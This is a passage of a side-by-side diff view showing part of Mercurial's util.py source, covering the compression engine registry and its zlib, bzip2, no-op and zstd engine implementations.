3121 | 3133 | def __contains__(self, d): |
|
3122 | 3134 | return d in self._dirs |
|
3123 | 3135 | |
|
3124 | 3136 | if safehasattr(parsers, 'dirs'): |
|
3125 | 3137 | dirs = parsers.dirs |
|
3126 | 3138 | |
|
3127 | 3139 | def finddirs(path): |
|
3128 | 3140 | pos = path.rfind('/') |
|
3129 | 3141 | while pos != -1: |
|
3130 | 3142 | yield path[:pos] |
|
3131 | 3143 | pos = path.rfind('/', 0, pos) |
|
3132 | 3144 | |
|
3133 | 3145 | # compression code |
|
3134 | 3146 | |
|
3135 | 3147 | SERVERROLE = 'server' |
|
3136 | 3148 | CLIENTROLE = 'client' |
|
3137 | 3149 | |
|
3138 | 3150 | compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport', |
|
3139 | 3151 | (u'name', u'serverpriority', |
|
3140 | 3152 | u'clientpriority')) |
|
3141 | 3153 | |
|
3142 | 3154 | class compressormanager(object): |
|
3143 | 3155 | """Holds registrations of various compression engines. |
|
3144 | 3156 | |
|
3145 | 3157 | This class essentially abstracts the differences between compression |
|
3146 | 3158 | engines to allow new compression formats to be added easily, possibly from |
|
3147 | 3159 | extensions. |
|
3148 | 3160 | |
|
3149 | 3161 | Compressors are registered against the global instance by calling its |
|
3150 | 3162 | ``register()`` method. |
|
3151 | 3163 | """ |
|
3152 | 3164 | def __init__(self): |
|
3153 | 3165 | self._engines = {} |
|
3154 | 3166 | # Bundle spec human name to engine name. |
|
3155 | 3167 | self._bundlenames = {} |
|
3156 | 3168 | # Internal bundle identifier to engine name. |
|
3157 | 3169 | self._bundletypes = {} |
|
3158 | 3170 | # Revlog header to engine name. |
|
3159 | 3171 | self._revlogheaders = {} |
|
3160 | 3172 | # Wire proto identifier to engine name. |
|
3161 | 3173 | self._wiretypes = {} |
|
3162 | 3174 | |
|
3163 | 3175 | def __getitem__(self, key): |
|
3164 | 3176 | return self._engines[key] |
|
3165 | 3177 | |
|
3166 | 3178 | def __contains__(self, key): |
|
3167 | 3179 | return key in self._engines |
|
3168 | 3180 | |
|
3169 | 3181 | def __iter__(self): |
|
3170 | 3182 | return iter(self._engines.keys()) |
|
3171 | 3183 | |
|
3172 | 3184 | def register(self, engine): |
|
3173 | 3185 | """Register a compression engine with the manager. |
|
3174 | 3186 | |
|
3175 | 3187 | The argument must be a ``compressionengine`` instance. |
|
3176 | 3188 | """ |
|
3177 | 3189 | if not isinstance(engine, compressionengine): |
|
3178 | 3190 | raise ValueError(_('argument must be a compressionengine')) |
|
3179 | 3191 | |
|
3180 | 3192 | name = engine.name() |
|
3181 | 3193 | |
|
3182 | 3194 | if name in self._engines: |
|
3183 | 3195 | raise error.Abort(_('compression engine %s already registered') % |
|
3184 | 3196 | name) |
|
3185 | 3197 | |
|
3186 | 3198 | bundleinfo = engine.bundletype() |
|
3187 | 3199 | if bundleinfo: |
|
3188 | 3200 | bundlename, bundletype = bundleinfo |
|
3189 | 3201 | |
|
3190 | 3202 | if bundlename in self._bundlenames: |
|
3191 | 3203 | raise error.Abort(_('bundle name %s already registered') % |
|
3192 | 3204 | bundlename) |
|
3193 | 3205 | if bundletype in self._bundletypes: |
|
3194 | 3206 | raise error.Abort(_('bundle type %s already registered by %s') % |
|
3195 | 3207 | (bundletype, self._bundletypes[bundletype])) |
|
3196 | 3208 | |
|
3197 | 3209 | # No external facing name declared. |
|
3198 | 3210 | if bundlename: |
|
3199 | 3211 | self._bundlenames[bundlename] = name |
|
3200 | 3212 | |
|
3201 | 3213 | self._bundletypes[bundletype] = name |
|
3202 | 3214 | |
|
3203 | 3215 | wiresupport = engine.wireprotosupport() |
|
3204 | 3216 | if wiresupport: |
|
3205 | 3217 | wiretype = wiresupport.name |
|
3206 | 3218 | if wiretype in self._wiretypes: |
|
3207 | 3219 | raise error.Abort(_('wire protocol compression %s already ' |
|
3208 | 3220 | 'registered by %s') % |
|
3209 | 3221 | (wiretype, self._wiretypes[wiretype])) |
|
3210 | 3222 | |
|
3211 | 3223 | self._wiretypes[wiretype] = name |
|
3212 | 3224 | |
|
3213 | 3225 | revlogheader = engine.revlogheader() |
|
3214 | 3226 | if revlogheader and revlogheader in self._revlogheaders: |
|
3215 | 3227 | raise error.Abort(_('revlog header %s already registered by %s') % |
|
3216 | 3228 | (revlogheader, self._revlogheaders[revlogheader])) |
|
3217 | 3229 | |
|
3218 | 3230 | if revlogheader: |
|
3219 | 3231 | self._revlogheaders[revlogheader] = name |
|
3220 | 3232 | |
|
3221 | 3233 | self._engines[name] = engine |
|
3222 | 3234 | |
|
3223 | 3235 | @property |
|
3224 | 3236 | def supportedbundlenames(self): |
|
3225 | 3237 | return set(self._bundlenames.keys()) |
|
3226 | 3238 | |
|
3227 | 3239 | @property |
|
3228 | 3240 | def supportedbundletypes(self): |
|
3229 | 3241 | return set(self._bundletypes.keys()) |
|
3230 | 3242 | |
|
3231 | 3243 | def forbundlename(self, bundlename): |
|
3232 | 3244 | """Obtain a compression engine registered to a bundle name. |
|
3233 | 3245 | |
|
3234 | 3246 | Will raise KeyError if the bundle type isn't registered. |
|
3235 | 3247 | |
|
3236 | 3248 | Will abort if the engine is known but not available. |
|
3237 | 3249 | """ |
|
3238 | 3250 | engine = self._engines[self._bundlenames[bundlename]] |
|
3239 | 3251 | if not engine.available(): |
|
3240 | 3252 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
3241 | 3253 | engine.name()) |
|
3242 | 3254 | return engine |
|
3243 | 3255 | |
|
3244 | 3256 | def forbundletype(self, bundletype): |
|
3245 | 3257 | """Obtain a compression engine registered to a bundle type. |
|
3246 | 3258 | |
|
3247 | 3259 | Will raise KeyError if the bundle type isn't registered. |
|
3248 | 3260 | |
|
3249 | 3261 | Will abort if the engine is known but not available. |
|
3250 | 3262 | """ |
|
3251 | 3263 | engine = self._engines[self._bundletypes[bundletype]] |
|
3252 | 3264 | if not engine.available(): |
|
3253 | 3265 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
3254 | 3266 | engine.name()) |
|
3255 | 3267 | return engine |
|
3256 | 3268 | |
|
3257 | 3269 | def supportedwireengines(self, role, onlyavailable=True): |
|
3258 | 3270 | """Obtain compression engines that support the wire protocol. |
|
3259 | 3271 | |
|
3260 | 3272 | Returns a list of engines in prioritized order, most desired first. |
|
3261 | 3273 | |
|
3262 | 3274 | If ``onlyavailable`` is set, filter out engines that can't be |
|
3263 | 3275 | loaded. |
|
3264 | 3276 | """ |
|
3265 | 3277 | assert role in (SERVERROLE, CLIENTROLE) |
|
3266 | 3278 | |
|
3267 | 3279 | attr = 'serverpriority' if role == SERVERROLE else 'clientpriority' |
|
3268 | 3280 | |
|
3269 | 3281 | engines = [self._engines[e] for e in self._wiretypes.values()] |
|
3270 | 3282 | if onlyavailable: |
|
3271 | 3283 | engines = [e for e in engines if e.available()] |
|
3272 | 3284 | |
|
3273 | 3285 | def getkey(e): |
|
3274 | 3286 | # Sort first by priority, highest first. In case of tie, sort |
|
3275 | 3287 | # alphabetically. This is arbitrary, but ensures output is |
|
3276 | 3288 | # stable. |
|
3277 | 3289 | w = e.wireprotosupport() |
|
3278 | 3290 | return -1 * getattr(w, attr), w.name |
|
3279 | 3291 | |
|
3280 | 3292 | return list(sorted(engines, key=getkey)) |
|
3281 | 3293 | |
|
3282 | 3294 | def forwiretype(self, wiretype): |
|
3283 | 3295 | engine = self._engines[self._wiretypes[wiretype]] |
|
3284 | 3296 | if not engine.available(): |
|
3285 | 3297 | raise error.Abort(_('compression engine %s could not be loaded') % |
|
3286 | 3298 | engine.name()) |
|
3287 | 3299 | return engine |
|
3288 | 3300 | |
|
3289 | 3301 | def forrevlogheader(self, header): |
|
3290 | 3302 | """Obtain a compression engine registered to a revlog header. |
|
3291 | 3303 | |
|
3292 | 3304 | Will raise KeyError if the revlog header value isn't registered. |
|
3293 | 3305 | """ |
|
3294 | 3306 | return self._engines[self._revlogheaders[header]] |
|
3295 | 3307 | |
|
3296 | 3308 | compengines = compressormanager() |
|
3297 | 3309 | |
|
3298 | 3310 | class compressionengine(object): |
|
3299 | 3311 | """Base class for compression engines. |
|
3300 | 3312 | |
|
3301 | 3313 | Compression engines must implement the interface defined by this class. |
|
3302 | 3314 | """ |
|
3303 | 3315 | def name(self): |
|
3304 | 3316 | """Returns the name of the compression engine. |
|
3305 | 3317 | |
|
3306 | 3318 | This is the key the engine is registered under. |
|
3307 | 3319 | |
|
3308 | 3320 | This method must be implemented. |
|
3309 | 3321 | """ |
|
3310 | 3322 | raise NotImplementedError() |
|
3311 | 3323 | |
|
3312 | 3324 | def available(self): |
|
3313 | 3325 | """Whether the compression engine is available. |
|
3314 | 3326 | |
|
3315 | 3327 | The intent of this method is to allow optional compression engines |
|
3316 | 3328 | that may not be available in all installations (such as engines relying |
|
3317 | 3329 | on C extensions that may not be present). |
|
3318 | 3330 | """ |
|
3319 | 3331 | return True |
|
3320 | 3332 | |
|
3321 | 3333 | def bundletype(self): |
|
3322 | 3334 | """Describes bundle identifiers for this engine. |
|
3323 | 3335 | |
|
3324 | 3336 | If this compression engine isn't supported for bundles, returns None. |
|
3325 | 3337 | |
|
3326 | 3338 | If this engine can be used for bundles, returns a 2-tuple of strings of |
|
3327 | 3339 | the user-facing "bundle spec" compression name and an internal |
|
3328 | 3340 | identifier used to denote the compression format within bundles. To |
|
3329 | 3341 | exclude the name from external usage, set the first element to ``None``. |
|
3330 | 3342 | |
|
3331 | 3343 | If bundle compression is supported, the class must also implement |
|
3332 | 3344 | ``compressstream`` and `decompressorreader``. |
|
3333 | 3345 | |
|
3334 | 3346 | The docstring of this method is used in the help system to tell users |
|
3335 | 3347 | about this engine. |
|
3336 | 3348 | """ |
|
3337 | 3349 | return None |
|
3338 | 3350 | |
|
3339 | 3351 | def wireprotosupport(self): |
|
3340 | 3352 | """Declare support for this compression format on the wire protocol. |
|
3341 | 3353 | |
|
3342 | 3354 | If this compression engine isn't supported for compressing wire |
|
3343 | 3355 | protocol payloads, returns None. |
|
3344 | 3356 | |
|
3345 | 3357 | Otherwise, returns ``compenginewireprotosupport`` with the following |
|
3346 | 3358 | fields: |
|
3347 | 3359 | |
|
3348 | 3360 | * String format identifier |
|
3349 | 3361 | * Integer priority for the server |
|
3350 | 3362 | * Integer priority for the client |
|
3351 | 3363 | |
|
3352 | 3364 | The integer priorities are used to order the advertisement of format |
|
3353 | 3365 | support by server and client. The highest integer is advertised |
|
3354 | 3366 | first. Integers with non-positive values aren't advertised. |
|
3355 | 3367 | |
|
3356 | 3368 | The priority values are somewhat arbitrary and only used for default |
|
3357 | 3369 | ordering. The relative order can be changed via config options. |
|
3358 | 3370 | |
|
3359 | 3371 | If wire protocol compression is supported, the class must also implement |
|
3360 | 3372 | ``compressstream`` and ``decompressorreader``. |
|
3361 | 3373 | """ |
|
3362 | 3374 | return None |
|
3363 | 3375 | |
|
3364 | 3376 | def revlogheader(self): |
|
3365 | 3377 | """Header added to revlog chunks that identifies this engine. |
|
3366 | 3378 | |
|
3367 | 3379 | If this engine can be used to compress revlogs, this method should |
|
3368 | 3380 | return the bytes used to identify chunks compressed with this engine. |
|
3369 | 3381 | Else, the method should return ``None`` to indicate it does not |
|
3370 | 3382 | participate in revlog compression. |
|
3371 | 3383 | """ |
|
3372 | 3384 | return None |
|
3373 | 3385 | |
|
3374 | 3386 | def compressstream(self, it, opts=None): |
|
3375 | 3387 | """Compress an iterator of chunks. |
|
3376 | 3388 | |
|
3377 | 3389 | The method receives an iterator (ideally a generator) of chunks of |
|
3378 | 3390 | bytes to be compressed. It returns an iterator (ideally a generator) |
|
3379 | 3391 | of bytes of chunks representing the compressed output. |
|
3380 | 3392 | |
|
3381 | 3393 | Optionally accepts an argument defining how to perform compression. |
|
3382 | 3394 | Each engine treats this argument differently. |
|
3383 | 3395 | """ |
|
3384 | 3396 | raise NotImplementedError() |
|
3385 | 3397 | |
|
3386 | 3398 | def decompressorreader(self, fh): |
|
3387 | 3399 | """Perform decompression on a file object. |
|
3388 | 3400 | |
|
3389 | 3401 | Argument is an object with a ``read(size)`` method that returns |
|
3390 | 3402 | compressed data. Return value is an object with a ``read(size)`` that |
|
3391 | 3403 | returns uncompressed data. |
|
3392 | 3404 | """ |
|
3393 | 3405 | raise NotImplementedError() |
|
3394 | 3406 | |
|
3395 | 3407 | def revlogcompressor(self, opts=None): |
|
3396 | 3408 | """Obtain an object that can be used to compress revlog entries. |
|
3397 | 3409 | |
|
3398 | 3410 | The object has a ``compress(data)`` method that compresses binary |
|
3399 | 3411 | data. This method returns compressed binary data or ``None`` if |
|
3400 | 3412 | the data could not be compressed (too small, not compressible, etc). |
|
3401 | 3413 | The returned data should have a header uniquely identifying this |
|
3402 | 3414 | compression format so decompression can be routed to this engine. |
|
3403 | 3415 | This header should be identified by the ``revlogheader()`` return |
|
3404 | 3416 | value. |
|
3405 | 3417 | |
|
3406 | 3418 | The object has a ``decompress(data)`` method that decompresses |
|
3407 | 3419 | data. The method will only be called if ``data`` begins with |
|
3408 | 3420 | ``revlogheader()``. The method should return the raw, uncompressed |
|
3409 | 3421 | data or raise a ``RevlogError``. |
|
3410 | 3422 | |
|
3411 | 3423 | The object is reusable but is not thread safe. |
|
3412 | 3424 | """ |
|
3413 | 3425 | raise NotImplementedError() |
|
3414 | 3426 | |
|
3415 | 3427 | class _zlibengine(compressionengine): |
|
3416 | 3428 | def name(self): |
|
3417 | 3429 | return 'zlib' |
|
3418 | 3430 | |
|
3419 | 3431 | def bundletype(self): |
|
3420 | 3432 | """zlib compression using the DEFLATE algorithm. |
|
3421 | 3433 | |
|
3422 | 3434 | All Mercurial clients should support this format. The compression |
|
3423 | 3435 | algorithm strikes a reasonable balance between compression ratio |
|
3424 | 3436 | and size. |
|
3425 | 3437 | """ |
|
3426 | 3438 | return 'gzip', 'GZ' |
|
3427 | 3439 | |
|
3428 | 3440 | def wireprotosupport(self): |
|
3429 | 3441 | return compewireprotosupport('zlib', 20, 20) |
|
3430 | 3442 | |
|
3431 | 3443 | def revlogheader(self): |
|
3432 | 3444 | return 'x' |
|
3433 | 3445 | |
|
3434 | 3446 | def compressstream(self, it, opts=None): |
|
3435 | 3447 | opts = opts or {} |
|
3436 | 3448 | |
|
3437 | 3449 | z = zlib.compressobj(opts.get('level', -1)) |
|
3438 | 3450 | for chunk in it: |
|
3439 | 3451 | data = z.compress(chunk) |
|
3440 | 3452 | # Not all calls to compress emit data. It is cheaper to inspect |
|
3441 | 3453 | # here than to feed empty chunks through generator. |
|
3442 | 3454 | if data: |
|
3443 | 3455 | yield data |
|
3444 | 3456 | |
|
3445 | 3457 | yield z.flush() |
|
3446 | 3458 | |
|
3447 | 3459 | def decompressorreader(self, fh): |
|
3448 | 3460 | def gen(): |
|
3449 | 3461 | d = zlib.decompressobj() |
|
3450 | 3462 | for chunk in filechunkiter(fh): |
|
3451 | 3463 | while chunk: |
|
3452 | 3464 | # Limit output size to limit memory. |
|
3453 | 3465 | yield d.decompress(chunk, 2 ** 18) |
|
3454 | 3466 | chunk = d.unconsumed_tail |
|
3455 | 3467 | |
|
3456 | 3468 | return chunkbuffer(gen()) |
|
3457 | 3469 | |
|
3458 | 3470 | class zlibrevlogcompressor(object): |
|
3459 | 3471 | def compress(self, data): |
|
3460 | 3472 | insize = len(data) |
|
3461 | 3473 | # Caller handles empty input case. |
|
3462 | 3474 | assert insize > 0 |
|
3463 | 3475 | |
|
3464 | 3476 | if insize < 44: |
|
3465 | 3477 | return None |
|
3466 | 3478 | |
|
3467 | 3479 | elif insize <= 1000000: |
|
3468 | 3480 | compressed = zlib.compress(data) |
|
3469 | 3481 | if len(compressed) < insize: |
|
3470 | 3482 | return compressed |
|
3471 | 3483 | return None |
|
3472 | 3484 | |
|
3473 | 3485 | # zlib makes an internal copy of the input buffer, doubling |
|
3474 | 3486 | # memory usage for large inputs. So do streaming compression |
|
3475 | 3487 | # on large inputs. |
|
3476 | 3488 | else: |
|
3477 | 3489 | z = zlib.compressobj() |
|
3478 | 3490 | parts = [] |
|
3479 | 3491 | pos = 0 |
|
3480 | 3492 | while pos < insize: |
|
3481 | 3493 | pos2 = pos + 2**20 |
|
3482 | 3494 | parts.append(z.compress(data[pos:pos2])) |
|
3483 | 3495 | pos = pos2 |
|
3484 | 3496 | parts.append(z.flush()) |
|
3485 | 3497 | |
|
3486 | 3498 | if sum(map(len, parts)) < insize: |
|
3487 | 3499 | return ''.join(parts) |
|
3488 | 3500 | return None |
|
3489 | 3501 | |
|
3490 | 3502 | def decompress(self, data): |
|
3491 | 3503 | try: |
|
3492 | 3504 | return zlib.decompress(data) |
|
3493 | 3505 | except zlib.error as e: |
|
3494 | 3506 | raise error.RevlogError(_('revlog decompress error: %s') % |
|
3495 | 3507 | str(e)) |
|
3496 | 3508 | |
|
3497 | 3509 | def revlogcompressor(self, opts=None): |
|
3498 | 3510 | return self.zlibrevlogcompressor() |
|
3499 | 3511 | |
|
3500 | 3512 | compengines.register(_zlibengine()) |
|
3501 | 3513 | |
|
3502 | 3514 | class _bz2engine(compressionengine): |
|
3503 | 3515 | def name(self): |
|
3504 | 3516 | return 'bz2' |
|
3505 | 3517 | |
|
3506 | 3518 | def bundletype(self): |
|
3507 | 3519 | """An algorithm that produces smaller bundles than ``gzip``. |
|
3508 | 3520 | |
|
3509 | 3521 | All Mercurial clients should support this format. |
|
3510 | 3522 | |
|
3511 | 3523 | This engine will likely produce smaller bundles than ``gzip`` but |
|
3512 | 3524 | will be significantly slower, both during compression and |
|
3513 | 3525 | decompression. |
|
3514 | 3526 | |
|
3515 | 3527 | If available, the ``zstd`` engine can yield similar or better |
|
3516 | 3528 | compression at much higher speeds. |
|
3517 | 3529 | """ |
|
3518 | 3530 | return 'bzip2', 'BZ' |
|
3519 | 3531 | |
|
3520 | 3532 | # We declare a protocol name but don't advertise by default because |
|
3521 | 3533 | # it is slow. |
|
3522 | 3534 | def wireprotosupport(self): |
|
3523 | 3535 | return compewireprotosupport('bzip2', 0, 0) |
|
3524 | 3536 | |
|
3525 | 3537 | def compressstream(self, it, opts=None): |
|
3526 | 3538 | opts = opts or {} |
|
3527 | 3539 | z = bz2.BZ2Compressor(opts.get('level', 9)) |
|
3528 | 3540 | for chunk in it: |
|
3529 | 3541 | data = z.compress(chunk) |
|
3530 | 3542 | if data: |
|
3531 | 3543 | yield data |
|
3532 | 3544 | |
|
3533 | 3545 | yield z.flush() |
|
3534 | 3546 | |
|
3535 | 3547 | def decompressorreader(self, fh): |
|
3536 | 3548 | def gen(): |
|
3537 | 3549 | d = bz2.BZ2Decompressor() |
|
3538 | 3550 | for chunk in filechunkiter(fh): |
|
3539 | 3551 | yield d.decompress(chunk) |
|
3540 | 3552 | |
|
3541 | 3553 | return chunkbuffer(gen()) |
|
3542 | 3554 | |
|
3543 | 3555 | compengines.register(_bz2engine()) |
|
3544 | 3556 | |
|
3545 | 3557 | class _truncatedbz2engine(compressionengine): |
|
3546 | 3558 | def name(self): |
|
3547 | 3559 | return 'bz2truncated' |
|
3548 | 3560 | |
|
3549 | 3561 | def bundletype(self): |
|
3550 | 3562 | return None, '_truncatedBZ' |
|
3551 | 3563 | |
|
3552 | 3564 | # We don't implement compressstream because it is hackily handled elsewhere. |
|
3553 | 3565 | |
|
3554 | 3566 | def decompressorreader(self, fh): |
|
3555 | 3567 | def gen(): |
|
3556 | 3568 | # The input stream doesn't have the 'BZ' header. So add it back. |
|
3557 | 3569 | d = bz2.BZ2Decompressor() |
|
3558 | 3570 | d.decompress('BZ') |
|
3559 | 3571 | for chunk in filechunkiter(fh): |
|
3560 | 3572 | yield d.decompress(chunk) |
|
3561 | 3573 | |
|
3562 | 3574 | return chunkbuffer(gen()) |
|
3563 | 3575 | |
|
3564 | 3576 | compengines.register(_truncatedbz2engine()) |
|
3565 | 3577 | |
|
3566 | 3578 | class _noopengine(compressionengine): |
|
3567 | 3579 | def name(self): |
|
3568 | 3580 | return 'none' |
|
3569 | 3581 | |
|
3570 | 3582 | def bundletype(self): |
|
3571 | 3583 | """No compression is performed. |
|
3572 | 3584 | |
|
3573 | 3585 | Use this compression engine to explicitly disable compression. |
|
3574 | 3586 | """ |
|
3575 | 3587 | return 'none', 'UN' |
|
3576 | 3588 | |
|
3577 | 3589 | # Clients always support uncompressed payloads. Servers don't because |
|
3578 | 3590 | # unless you are on a fast network, uncompressed payloads can easily |
|
3579 | 3591 | # saturate your network pipe. |
|
3580 | 3592 | def wireprotosupport(self): |
|
3581 | 3593 | return compewireprotosupport('none', 0, 10) |
|
3582 | 3594 | |
|
3583 | 3595 | # We don't implement revlogheader because it is handled specially |
|
3584 | 3596 | # in the revlog class. |
|
3585 | 3597 | |
|
3586 | 3598 | def compressstream(self, it, opts=None): |
|
3587 | 3599 | return it |
|
3588 | 3600 | |
|
3589 | 3601 | def decompressorreader(self, fh): |
|
3590 | 3602 | return fh |
|
3591 | 3603 | |
|
3592 | 3604 | class nooprevlogcompressor(object): |
|
3593 | 3605 | def compress(self, data): |
|
3594 | 3606 | return None |
|
3595 | 3607 | |
|
3596 | 3608 | def revlogcompressor(self, opts=None): |
|
3597 | 3609 | return self.nooprevlogcompressor() |
|
3598 | 3610 | |
|
3599 | 3611 | compengines.register(_noopengine()) |
|
3600 | 3612 | |
|
3601 | 3613 | class _zstdengine(compressionengine): |
|
3602 | 3614 | def name(self): |
|
3603 | 3615 | return 'zstd' |
|
3604 | 3616 | |
|
3605 | 3617 | @propertycache |
|
3606 | 3618 | def _module(self): |
|
3607 | 3619 | # Not all installs have the zstd module available. So defer importing |
|
3608 | 3620 | # until first access. |
|
3609 | 3621 | try: |
|
3610 | 3622 | from . import zstd |
|
3611 | 3623 | # Force delayed import. |
|
3612 | 3624 | zstd.__version__ |
|
3613 | 3625 | return zstd |
|
3614 | 3626 | except ImportError: |
|
3615 | 3627 | return None |
|
3616 | 3628 | |
|
3617 | 3629 | def available(self): |
|
3618 | 3630 | return bool(self._module) |
|
3619 | 3631 | |
|
3620 | 3632 | def bundletype(self): |
|
3621 | 3633 | """A modern compression algorithm that is fast and highly flexible. |
|
3622 | 3634 | |
|
3623 | 3635 | Only supported by Mercurial 4.1 and newer clients. |
|
3624 | 3636 | |
|
3625 | 3637 | With the default settings, zstd compression is both faster and yields |
|
3626 | 3638 | better compression than ``gzip``. It also frequently yields better |
|
3627 | 3639 | compression than ``bzip2`` while operating at much higher speeds. |
|
3628 | 3640 | |
|
3629 | 3641 | If this engine is available and backwards compatibility is not a |
|
3630 | 3642 | concern, it is likely the best available engine. |
|
3631 | 3643 | """ |
|
3632 | 3644 | return 'zstd', 'ZS' |
|
3633 | 3645 | |
|
3634 | 3646 | def wireprotosupport(self): |
|
3635 | 3647 | return compewireprotosupport('zstd', 50, 50) |
|
3636 | 3648 | |
|
3637 | 3649 | def revlogheader(self): |
|
3638 | 3650 | return '\x28' |
|
3639 | 3651 | |
|
3640 | 3652 | def compressstream(self, it, opts=None): |
|
3641 | 3653 | opts = opts or {} |
|
3642 | 3654 | # zstd level 3 is almost always significantly faster than zlib |
|
3643 | 3655 | # while providing no worse compression. It strikes a good balance |
|
3644 | 3656 | # between speed and compression. |
|
3645 | 3657 | level = opts.get('level', 3) |
|
3646 | 3658 | |
|
3647 | 3659 | zstd = self._module |
|
3648 | 3660 | z = zstd.ZstdCompressor(level=level).compressobj() |
|
3649 | 3661 | for chunk in it: |
|
3650 | 3662 | data = z.compress(chunk) |
|
3651 | 3663 | if data: |
|
3652 | 3664 | yield data |
|
3653 | 3665 | |
|
3654 | 3666 | yield z.flush() |
|
3655 | 3667 | |
|
3656 | 3668 | def decompressorreader(self, fh): |
|
3657 | 3669 | zstd = self._module |
|
3658 | 3670 | dctx = zstd.ZstdDecompressor() |
|
3659 | 3671 | return chunkbuffer(dctx.read_from(fh)) |
|
3660 | 3672 | |
|
3661 | 3673 | class zstdrevlogcompressor(object): |
|
3662 | 3674 | def __init__(self, zstd, level=3): |
|
3663 | 3675 | # Writing the content size adds a few bytes to the output. However, |
|
3664 | 3676 | # it allows decompression to be more optimal since we can |
|
3665 | 3677 | # pre-allocate a buffer to hold the result. |
|
3666 | 3678 | self._cctx = zstd.ZstdCompressor(level=level, |
|
3667 | 3679 | write_content_size=True) |
|
3668 | 3680 | self._dctx = zstd.ZstdDecompressor() |
|
3669 | 3681 | self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE |
|
3670 | 3682 | self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE |
|
3671 | 3683 | |
|
3672 | 3684 | def compress(self, data): |
|
3673 | 3685 | insize = len(data) |
|
3674 | 3686 | # Caller handles empty input case. |
|
3675 | 3687 | assert insize > 0 |
|
3676 | 3688 | |
|
3677 | 3689 | if insize < 50: |
|
3678 | 3690 | return None |
|
3679 | 3691 | |
|
3680 | 3692 | elif insize <= 1000000: |
|
3681 | 3693 | compressed = self._cctx.compress(data) |
|
3682 | 3694 | if len(compressed) < insize: |
|
3683 | 3695 | return compressed |
|
3684 | 3696 | return None |
|
3685 | 3697 | else: |
|
3686 | 3698 | z = self._cctx.compressobj() |
|
3687 | 3699 | chunks = [] |
|
3688 | 3700 | pos = 0 |
|
3689 | 3701 | while pos < insize: |
|
3690 | 3702 | pos2 = pos + self._compinsize |
|
3691 | 3703 | chunk = z.compress(data[pos:pos2]) |
|
3692 | 3704 | if chunk: |
|
3693 | 3705 | chunks.append(chunk) |
|
3694 | 3706 | pos = pos2 |
|
3695 | 3707 | chunks.append(z.flush()) |
|
3696 | 3708 | |
|
3697 | 3709 | if sum(map(len, chunks)) < insize: |
|
3698 | 3710 | return ''.join(chunks) |
|
3699 | 3711 | return None |
|
3700 | 3712 | |
|
3701 | 3713 | def decompress(self, data): |
|
3702 | 3714 | insize = len(data) |
|
3703 | 3715 | |
|
3704 | 3716 | try: |
|
3705 | 3717 | # This was measured to be faster than other streaming |
|
3706 | 3718 | # decompressors. |
|
3707 | 3719 | dobj = self._dctx.decompressobj() |
|
3708 | 3720 | chunks = [] |
|
3709 | 3721 | pos = 0 |
|
3710 | 3722 | while pos < insize: |
|
3711 | 3723 | pos2 = pos + self._decompinsize |
|
3712 | 3724 | chunk = dobj.decompress(data[pos:pos2]) |
|
3713 | 3725 | if chunk: |
|
3714 | 3726 | chunks.append(chunk) |
|
3715 | 3727 | pos = pos2 |
|
3716 | 3728 | # Frame should be exhausted, so no finish() API. |
|
3717 | 3729 | |
|
3718 | 3730 | return ''.join(chunks) |
|
3719 | 3731 | except Exception as e: |
|
3720 | 3732 | raise error.RevlogError(_('revlog decompress error: %s') % |
|
3721 | 3733 | str(e)) |
|
3722 | 3734 | |
|
3723 | 3735 | def revlogcompressor(self, opts=None): |
|
3724 | 3736 | opts = opts or {} |
|
3725 | 3737 | return self.zstdrevlogcompressor(self._module, |
|
3726 | 3738 | level=opts.get('level', 3)) |
|
3727 | 3739 | |
|
3728 | 3740 | compengines.register(_zstdengine()) |
|
3729 | 3741 | |
|
3730 | 3742 | def bundlecompressiontopics(): |
|
3731 | 3743 | """Obtains a list of available bundle compressions for use in help.""" |
|
3732 | 3744 | # help.makeitemsdocs() expects a dict of names to items with a .__doc__. |
|
3733 | 3745 | items = {} |
|
3734 | 3746 | |
|
3735 | 3747 | # We need to format the docstring. So use a dummy object/type to hold it |
|
3736 | 3748 | # rather than mutating the original. |
|
3737 | 3749 | class docobject(object): |
|
3738 | 3750 | pass |
|
3739 | 3751 | |
|
3740 | 3752 | for name in compengines: |
|
3741 | 3753 | engine = compengines[name] |
|
3742 | 3754 | |
|
3743 | 3755 | if not engine.available(): |
|
3744 | 3756 | continue |
|
3745 | 3757 | |
|
3746 | 3758 | bt = engine.bundletype() |
|
3747 | 3759 | if not bt or not bt[0]: |
|
3748 | 3760 | continue |
|
3749 | 3761 | |
|
3750 | 3762 | doc = pycompat.sysstr('``%s``\n %s') % ( |
|
3751 | 3763 | bt[0], engine.bundletype.__doc__) |
|
3752 | 3764 | |
|
3753 | 3765 | value = docobject() |
|
3754 | 3766 | value.__doc__ = doc |
|
3755 | 3767 | value._origdoc = engine.bundletype.__doc__ |
|
3756 | 3768 | value._origfunc = engine.bundletype |
|
3757 | 3769 | |
|
3758 | 3770 | items[bt[0]] = value |
|
3759 | 3771 | |
|
3760 | 3772 | return items |
|
3761 | 3773 | |
|
3762 | 3774 | i18nfunctions = bundlecompressiontopics().values() |
|
3763 | 3775 | |
|
3764 | 3776 | # convenient shortcut |
|
3765 | 3777 | dst = debugstacktrace |
General Comments 0
You need to be logged in to leave comments.
Login now